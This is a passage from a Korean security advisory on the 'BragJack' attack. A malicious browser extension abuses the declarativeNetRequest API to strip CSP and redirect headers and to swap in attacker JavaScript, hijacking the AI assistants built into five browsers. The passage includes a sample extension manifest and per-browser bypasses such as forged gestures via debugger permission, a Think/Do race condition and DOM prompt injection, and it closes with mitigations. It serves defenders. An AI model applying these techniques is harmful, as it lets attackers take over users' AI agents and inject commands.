공통	- DiNneR Serving 기법을 통해 보안 헤더를 조작하고, 정상 JavaScript를 악성 JavaScript로 리다이렉트 > DNR(Declarative Net Request, 선언형 네트워크 요청) : 확장 프로그램이 브라우저의 네트워크 요청을 가로채고, 수정하거나 차단할 수 있도록 돕는 API  [10] > DNR을 악용해 요청을 가로채고, 선언된 규칙을 통해 보안 헤더를 조작 및 정상 JavaScript를 악성 JavaScript로 리다이렉트 - declarativeNetRequest 및 https://*/* 권한을 가진 악성 확장 프로그램 이용 {   "manifest_version": 3,   "name": "BragJack",   "version": "1.0",   "permissions": ["declarativeNetRequest"], - 확장 프로그램이 선언적 규칙을 통해 네트워크 요청을 차단 또는 수정할 수 있는 권한 부여   "host_permissions": ["https://*/*"], - 확장 프로그램이 모든 HTTPS 웹사이트에 대한 접근 권한 허용   "declarative_net_request": {     "rule_resources": [       { "id": "glic", "enabled": true, "path": "glic_rules.json" },       { "id": "comet", "enabled": true, "path": "comet_rules.json" },       { "id": "neon", "enabled": true, "path": "neon_rules.json" },       { "id": "egde", "enabled": true, "path": "egde_rules.json" },       { "id": "claude", "enabled": true, "path": "claude_rules.json" },     ]   } }
브라우저별 익스플로잇	① Chrome Gemini Live (CVE-2026-0628, CVSS: 8.8) [11]  ⒜ AI Agent 구조   - 브라우저 내부의 chrome://glic Body와 WebView 기반 gemini.google.com Brain 구조   - 정상적인 경우 일반 확장 프로그램은 chrome:// URL에 접근할 수 없음  ⒝ DNR을 이용한 우회   - 불필요한 정상 JavaScript를 공격자가 제어하는 JavaScript로 리다이렉션   - content-security-policy 헤더를 제거하는 등 보안 헤더를 수정   ② Microsoft Edge Actions (CVE-2026-55945, CVSS: 4.2) [12]  ⒜ AI Agent 구조   - chrome:// URL기반 Body와 iFrame 기반 copilot.microsoft.com Brain 구조   - frame-ancestors를 통해 *.microsoft.com, *.bing.com를 제외한 임의 사이트에서 iFrame으로 로드되는 것을 차단  ⒝ CSP 우회   - frame-ancestors에 https://*.com를 추가하여 모든 웹사이트에서 삽입할 수 있도록 함  ⒞ Gesture Token 우회   - debugger 권한 설정을 통해 클릭/입력 이벤트를 생성해 실제 사용자 동작과 동일한 클릭 이벤트 발생  ⒟ Think / Do Race Condition   - Prompt를 처리하는 Think Mode(실제 Action 수행 제한)   - 실제 브라우저 작업을 수행하는 Do Mode(새로운 Prompt 입력 제한)   - Think Mode에서 악성 Prompt 전달 후 Agent가 Prompt를 처리하는 순간 Do Mode 전환 ③ Perplexity Comet  ⒜ AI Agent 구조   - 신뢰할 수 있는 웹사이트인 perplexity.ai에서만 명령을 받도록 설계   - perplexity.ai는 확장 프로그램이 실행되지 않도록 완전 차단  ⒝ Test 도메인 악용   - 다른 도메인과 달리 보안이 약한 testing.perplexity.com이 존재하며, 접근 시 perplexity.ai로 리다이렉션   - Location 헤더를 제거하는 DNR 규칙을 적용하여 testing.perplexity.com 로드 유지 ④ Opera Neon  ⒜ AI Agent 구조   - opera.com 도메인에서만 오는 요청을 수락하며, opera.com은 확장 프로그램이 코드 실행 가능  ⒝ DNR을 이용한 우회   - CSP 헤더를 제거하고, 백그라운드에 숨겨진 iFrame을 생성  ⒞ Prompt-Forcing   - 공격자가 직접 프롬프트에 악성 명령을 전달 ⑤ Claude in Chrome  ⒜ AI Agent 구조   - 자체가 확장 프로그램으로, claude.ai에 Content Script를 실행하여 Claude Side Panel과 통신  ⒝ DOM 조작   - data-task-prompt에 프롬프트를 삽입하고, click()이벤트를 발생시켜 프롬프트 전달   - debugger 권한을 이용하여 사용자 Gesture가 필요한 경우 이를 우회

- 대응방안

> 브라우저 확장프로그램 허용목록 운영

> 불필요한 확장프로그램 설치 차단

> AI 에이전트의 로컬 파일 접근 최소화

> 카메라·마이크 권한 제한

> 메일·문서·업무용 서비스 접근권한 최소화

> 크롬·엣지 등 브라우저 최신 버전 유지

4. 참고

[1] https://www.air.security/blog-posts/plugin4shell
[2] https://www.skshieldus.com/security-insights/trends/%60eqstnow-plugin4shell-ai-plugin-bypass
[3] https://www.dailysecu.com/news/articleView.html?idxno=208552
[4] https://tenetsecurity.ai/blog/agentjacking-coding-agents-with-fake-sentry-errors/
[5] https://www.boannews.com/news/articleView.html?idxno=144117
[6] https://docs.sentry.io/concepts/key-terms/dsn-explainer/
[7] https://forever.security/blog/bragjack-attack-hijacks-every-browser-agent

[8] https://forever.security/blog/bragjack-hijacking-5-browsers-via-built-in-ai-assistants
[9] https://www.dailysecu.com/news/articleView.html?idxno=208558
[10] https://developer.chrome.com/docs/extensions/reference/api/declarativeNetRequest?hl=ko
[11] https://nvd.nist.gov/vuln/detail/cve-2026-0628
[12] https://nvd.nist.gov/vuln/detail/cve-2026-55945

보안뉴스

[1] https://www.dailysecu.com/news/articleView.html?idxno=208612
[2] https://blog.cloudflare.com/containers-cross-tenant-vulnerability/